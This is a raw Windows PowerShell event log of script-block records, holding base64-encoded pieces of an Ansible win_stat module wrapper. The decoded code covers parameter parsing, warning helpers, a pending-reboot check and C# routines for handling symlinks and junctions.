Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2126 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (7 of 8):
HZXQtQ2hpbGRJdGVtICJIS0xNOlxcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cQ29tcG9uZW50IEJhc2VkI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IHsKICAgICAgICBBZGQtV2FybmluZyAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgIkZhaWxlZCB0byBjaGVjay9nZXQgbGluayBpbmZvIGZvciBmaWxlOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgIH0KICAgIGlmICgkbGlua19pbmZvIC1uZSAkbnVsbCkgewogICAgICAgIHN3aXRjaCAoJGxpbmtfaW5mby5UeXBlKSB7CiAgICAgICAgICAgICJTeW1ib2xpY0xpbmsiIHsKICAgICAgICAgICAgICAgICRzdGF0LmlzbG5rID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJKdW5jdGlvblBvaW50IiB7CiAgICAgICAgICAgICAgICAkc3RhdC5pc2p1bmN0aW9uID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJIYXJkTGluayIgewogICAgICAgICAgICAgICAgJHN0YXQubG5rX3R5cGUgPSAiaGFyZCIKICAgICAgICAgICAgICAgICRzdGF0Lm5saW5rID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cy5Db3VudAoKICAgICAgICAgICAgICAgICMgcmVtb3ZlIGN1cnJlbnQgcGF0aCBmcm9tIHRoZSB0YXJnZXRzCiAgICAgICAgICAgICAgICAkaGxua190YXJnZXRzID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cyB8IFdoZXJlLU9iamVjdCB7ICRfIC1uZSAkc3RhdC5wYXRoIH0KICAgICAgICAgICAgICAgICRzdGF0LmhsbmtfdGFyZ2V0cyA9IEAoJGhsbmtfdGFyZ2V0cykKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJHJlc3VsdC5zdGF0ID0gJHN0YXQKfQoKRXhpdC1Kc29uICRyZXN1bHQK", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_stat", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_check_mode": false, "get_
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2125 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 8):
lY2F0aW9ucyA9IEAoKQogICAgfSBlbHNlaWYgKCRvYmouZGVwcmVjYXRpb25zIC1pc25vdCBbYXJyYXldKSB7CiAgICA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YWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wd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AgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0g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KQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIEdldC1QZW5kaW5nUmVib290U3RhdHVzCnsKPCMKICAgIC5TWU5PUFNJUwogICAgQ2hlY2sgaWYgcmVib290IGlzIHJlcXVpcmVkLCBpZiBzbyBub3RpZnkgQ0EuCiAgICBGdW5jdGlvbiByZXR1cm5zIHRydWUgaWYgY29tcHV0ZXIgaGFzIGEgcGVuZGluZyByZWJvb3QKIz4KICAgICRmZWF0dXJlRGF0YSA9IEludm9rZS1XbWlNZXRob2QgLUVBIElnbm9yZSAtTmFtZSBHZXRTZXJ2ZXJGZWF0dXJlIC1OYW1lc3BhY2Ugcm9vdFxtaWNyb3NvZnRcd2luZG93c1xzZXJ2ZXJtYW5hZ2VyIC1DbGFzcyBNU0ZUX1NlcnZlck1hbmFnZXJUYXNrcwogICAgJHJlZ0RhdGEgPSBHZXQtSXRlbVByb3BlcnR5ICJIS0xNOlxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiICJQZW5kaW5nRmlsZVJlbmFtZU9wZXJhdGlvbnMiIC1FQSBJZ25vcmUKICAgICRDQlNSZWJvb3RTdGF0dXMgPSB
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2124 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 8):
GlvbihlcnJvck1lc3NhZ2UpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzdHJpbmcgcHJpbnROYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlByaW50TmFtZU9mZnNldCAvIFNJWkVfT0ZfV0NIQVIpICsgcGF0aE9mZnNldCwgKGludCkoYnVmZmVyLlByaW50TmFtZUxlbmd0aCAvIFNJWkVfT0ZfV0NIQVIpKTsKICAgICAgICAgICAgc3RyaW5nIHN1YnN0aXR1dGVOYW1lID0gbmV3IHN0cmluZyhidWZmZXIuUGF0aEJ1ZmZlciwgKGludCkoYnVmZmVyLlN1YnN0aXR1dGVOYW1lT2Zmc2V0IC8gU0laRV9PRl9XQ0hBUikgKyBwYXRoT2Zmc2V0LCAoaW50KShidWZmZXIuU3Vic3RpdHV0ZU5hbWVMZW5ndGggLyBTSVpFX09GX1dDSEFSKSk7CgogICAgICAgICAgICAvLyBUT0RPOiBzaG91bGQgd2UgY2hlY2sgZm9yIFw/XFVOQ1xzZXJ2ZXIgZm9yIGNvbnZlcnQgaXQgdG8gdGhlIE5UIHN0eWxlIFxcc2VydmVyIHBhdGgKICAgICAgICAgICAgLy8gUmVtb3ZlIHRoZSBsZWFkaW5nIFdpbmRvd3Mgb2JqZWN0IGRpcmVjdG9yeSBcP1wgZnJvbSB0aGUgcGF0aCBpZiBwcmVzZW50CiAgICAgICAgICAgIHN0cmluZyB0YXJnZXRQYXRoID0gc3Vic3RpdHV0ZU5hbWU7CiAgICAgICAgICAgIGlmICh0YXJnZXRQYXRoLlN0YXJ0c1dpdGgoIlxcPz9cXCIpKQogICAgICAgICAgICAgICAgdGFyZ2V0UGF0aCA9IHRhcmdldFBhdGguU3Vic3RyaW5nKDQsIHRhcmdldFBhdGguTGVuZ3RoIC0gNCk7CgogICAgIC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Ob25lLAogICAgICAgICAgICAgICAgSW50UHRyLlplcm8sCiAgICAgICAgICAgICAgICBGaWxlTW9kZS5PcGVuLAogICAgICAgICAgICAgICAgRklMRV9GTEFHX0JBQ0tVUF9TRU1BTlRJQ1MgfCBGSUxFX0ZMQUdfT1BFTl9SRVBBUlNFX1BPSU5ULAogICAgICAgICAgICAgICAgSW50UHRyLlplcm8pOwoKICAgICAgICAgICAgaWYgKGZpbGVIYW5kbGUuSXNJbnZhbGlkKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiQ3JlYXRlRmlsZSh7MH0pIGZhaWxlZCIsIGxpbmtQYXRoKSk7CgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nIHN1YnN0aXR1dGVOYW1lID0gIlxcPz9cXCIgKyBQYXRoLkdldEZ1bGxQYXRoKGxpbmtUYXJnZXQpOwogICAgICAgICAgICAgICAgc3RyaW5nIHByaW50TmFtZSA9IGxpbmtUYXJnZXQ7CgogICAgICAgICAgICAgICAgUkVQQVJTRV9EQVRBX0JVRkZFUiBidWZmZXIgPSBuZXcgUkVQQVJTRV9EQVRBX0JVRkZFUigpOwogICAgICAgICAgICAgICAgYnVmZmVyLlN1YnN0aXR1dGVOYW1lT2Zmc2V0ID0gMDsKICAgICAgICAgICAgICAgIGJ1ZmZlci5TdWJzdGl0dXRlTmFtZUxlbmd0aCA9IChVSW50MTYpKHN1YnN0aXR1dGVOYW1lLkxlbmd0aCAqIFNJWkVfT0ZfV0NIQVIpOwogICAgICAgICAgICAgICAgYnVmZmVyLlByaW50TmFtZU9mZnNldCA9IChVSW50MTYpKGJ1ZmZlci5TdWJzdGl0dXRlTmFtZUxlbmd0aCArIDIpOwogICAgICAgICAgICAgICAgYnVmZmVyLlByaW50TmFtZUxlbmd0aCA9IChVSW50MTYpKHByaW50TmFtZS5MZW5ndGggKiBTSVpFX09GX1dDSEFSKTsKCiAgICAgICAgICAgICAgICBidWZmZXIuUmVwYXJzZVRhZyA9IElPX1JFUEFSU0VfVEFHX01PVU5UX1BPSU5UOwogICAgICAgICAgICAgICAgYnVmZmVyLlJlcGFyc2VEYXRhTGVuZ3RoID0gKFVJbnQxNikoYnVmZmVyLlN1YnN0aXR1dGVOYW1lTGVuZ3RoICsgYnVmZmVyLlByaW50TmFtZUxlbmd0aCArIDEyKTsKICAgICAgICAgICAgICAgIGJ1ZmZlci5QYXRoQnVmZmVyID0gbmV3IGNoYXJbTUFYSU1VTV9SRVBBUlNFX0RBVEFfQlVGRkVSX1NJWkVdOwoKICAgICAgICAgICAgICAgIGJ5dGVbXSB1bmljb2RlQnl0ZXMgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKHN1YnN0aXR1dGVOYW1lICsgIlwwIiArIHByaW50TmFtZSk7CiAgICAgICAgICAgICAgICBjaGFyW10gcGF0aEJ1ZmZlciA9IEVuY29kaW5nLlVuaWNvZGUuR2V0Q2hhcnModW5pY29kZUJ5dGVzKTsKICAgICAgICAgICAgICAgIEFycmF5LkNvcHkocGF0aEJ1ZmZlciwgYnVmZmVyLlBhdGhCdWZmZXIsIHBhdGhCdWZmZXIuTGVuZ3RoKTsKCiAgICAgICAgICAgICAgICBVSW50MzIgYnl0ZXNSZXR1cm5lZDsKICAgICAgICAgICAgICAgIGlmICghRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICAgICAgICAgIGZpbGVIYW5kbGUsCiAgICAgICAgICAgICAgICAgICAgRlNDVExfU0VUX1JFUEFSU0VfUE9JTlQsCiAgICAgICAgICAgICAgICAgICAgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIChVSW50MzIpKGJ1ZmZlci5SZXBhcnNlRGF0YUxlbmd0aCArIDgpLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLCAwLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICA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ICAgIHNvIHRoZXkgZG8gbm90IGhhdmUgdG8gY2hlY2sgZm9yIHRoZSBhdHRyaWJ1dGUgcHJpb3IgdG8gYWRkaW5nLgojPgoKICAgIGlmICgtbm90ICRvYmouQ29udGFpbnNLZXkoIndhcm5pbmdzIikpIHsKICAgICAgICAkb2JqLndhcm5pbmdzID0gQCgpCiAgICB9IGVsc2VpZiAoJG9iai53YXJuaW5ncyAtaXNub3QgW2FycmF5XSkgewogICAgICAgIHRocm93ICJBZGQtV2FybmluZzogd2FybmluZ3MgYXR0cmlidXRlIGlzIG5vdCBhbiBhcnJheSIKICAgIH0KCiAgICAkb2JqLndhcm5pbmdzICs9ICRtZXNzYWdlCn0KCkZ1bmN0aW9uIEFkZC1EZXByZWNhdGlvbldhcm5pbmcoJG9iaiwgJG1lc3NhZ2UsICR2ZXJzaW9uID0gJG51bGwpCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZ1bmN0aW9uIHRvIGFkZCBkZXByZWNhdGlvbnMsIGV2ZW4gaWYgdGhlIGRlcHJlY2F0aW9ucyBhdHRyaWJ1dGUgd2FzCiAgICBub3QgYWxyZWFkeSBzZXQgdXAuIFRoaXMgaXMgYSBjb252ZW5pZW5jZSBmb3IgdGhlIG1vZHVsZSBkZXZlbG9wZXIKICAgIHNvIHRoZXkgZG8gbm90IGhhdmUgdG8gY2hlY2sgZm9yIHRoZSBhdHRyaWJ1dGUgcHJpb3IgdG8gYWRkaW5nLgojPgogICAgaWYgKC1ub3QgJG9iai5Db250YWluc0tleSgiZGVwcmVjYXRpb25zIikpIHsKICAgICAgICAkb2JqLmRlcHJ
ScriptBlock ID: e8181001-fe2c-4161-8c76-80f1e58a8cc0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2123 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4564 | 3036 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:18:53 AM | 61e00a24-ee3b-0000-880b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 8):
mF0ZSBjb25zdCBVSW50MzIgU1lNQk9MSUNfTElOS19GTEFHX0RJUkVDVE9SWSA9IDB4MDAwMDAwMDE7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBTYWZlRmlsZUhhbmRsZSBDcmVhdGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLlU0KV0gRmlsZUFjY2VzcyBkd0Rlc2lyZWRBY2Nlc3MsCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5VNCldIEZpbGVTaGFyZSBkd1NoYXJlTW9kZSwKICAgICAgICAgICAgSW50UHRyIGxwU2VjdXJpdHlBdHRyaWJ1dGVzLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXSBGaWxlTW9kZSBkd0NyZWF0aW9uRGlzcG9zaXRpb24sCiAgICAgICAgICAgIFVJbnQzMiBkd0ZsYWdzQW5kQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGhUZW1wbGF0ZUZpbGUpOwoKICAgICAgICAvLyBVc2VkIGJ5IEdldFJlcGFyc2VQb2ludEluZm8oKQogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIERldmljZUlvQ29udHJvbCgKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaERldmljZSwKICAgICAgICAgICAgVUludDMyIGR3SW9Db250cm9sQ29kZSwKICAgICAgICAgICAgSW50UHRyIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgUkVQQVJTRV9EQVRBX0JVRkZFUiBscE91dEJ1ZmZlciwKICAgICAgICAgICAgVUludDMyIG5PdXRCdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgVUludDMyIGxwQnl0ZXNSZXR1cm5lZCwKICAgICAgICAgICAgSW50UHRyIGxwT3ZlcmxhcHBlZCk7CgogICAgICAgIC8vIFVzZWQgYnkgQ3JlYXRlSnVuY3Rpb25Qb2ludCgpCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgRGV2aWNlSW9Db250cm9sKAogICAgICAgICAgICBTYWZlRmlsZUhhbmRsZSBoRGV2aWNlLAogICAgICAgICAgICBVSW50MzIgZHdJb0NvbnRyb2xDb2RlLAogICAgICAgICAgICBSRVBBUlNFX0RBVEFfQlVGRkVSIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBJbnRQdHIgbHBPdXRCdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuT3V0QnVmZmVyU2l6ZSwKICAgICAgICAgICAgb3V0IFVJbnQzMiBscEJ5dGVzUmV0dXJuZWQsCiAgICAgICAgICAgIEludFB0ciBscE92ZXJsYXBwZWQpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCB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gICAgICAgICAgSW50UHRyIGhGaW5kRmlsZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIFJlbW92ZURpcmVjdG9yeSgKICAgICAgICAgICAgc3RyaW5nIGxwUGF0aE5hbWUpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBEZWxldGVGaWxlKAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVN5bWJvbGljTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwU3ltbGlua0ZpbGVOYW1lLAogICAgICAgICAgICBzdHJpbmcgbHBUYXJnZXRGaWxlTmFtZSwKICAgICAgICAgICAgVUludDMyIGR3RmxhZ3MpOwoKICAgICAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVIYXJkTGluaygKICAgICAgICAgICAgc3RyaW5nIGxwRmlsZU5hbWUsCiAgICAgICAgICAgIHN0cmluZyBscEV4aXN0aW5nRmlsZU5hbWUsCiAgICAgICAgICAgIEludFB0ciBscFNlY3VyaXR5QXR0cmlidXRlcyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgTGlua0luZm8gR2V0TGlua0luZm8oc3RyaW5nIGxpbmtQYXRoKQogICAgICAgIHsKICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRlcyhsaW5rUGF0aCk7CiAgICAgICAgICAgIGlmIChhdHRyLkhhc0ZsYWcoRmlsZUF0dHJpYnV0ZXMuUmVwYXJzZVBvaW50KSkKICAgICAgICAgICAgICAgIHJldHVybiBHZXRSZXBhcnNlUG9pbnRJbmZvKGxpbmtQYXRoKTsKCiAgICAgICAgICAgIGlmICghYXR0ci5IYXNGbGFnKEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkpCiAgICAgICAgICAgICAgICByZXR1cm4gR2V0SGFyZExpbmtJbmZvKGxpbmtQYXRoKTsKCiAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIERlbGV0ZUxpbmsoc3RyaW5nIGxpbmtQYXRoKQogICAgICAgIHsKICAgICAgICAgICAgYm9vbCBzdWNjZXNzOwogICAgICAgICAgICBGaWxlQXR0cmlidXRlcyBhdHRyID0gRmlsZS5HZXRBdHRyaWJ1dGVzKGxpbmtQYXRoKTsKICAgICAgICAgICAgaWYgKGF0dHIuSGFzRmxhZyhGaWxlQXR0cmlidXRlcy5EaXJlY3RvcnkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdWNjZXNzID0gUmVtb3ZlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MgPSBEZWxldGVGaWxlKGxpbmtQYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb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JlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbmtUeXBlLkp1bmN0aW9uUG9pbnQ6CiAgICAgICAgICAgICAgICAgICAgQ3JlYXRlSnVuY3Rpb25Qb2ludChsaW5rUGF0aCwgbGlua1RhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIExpbm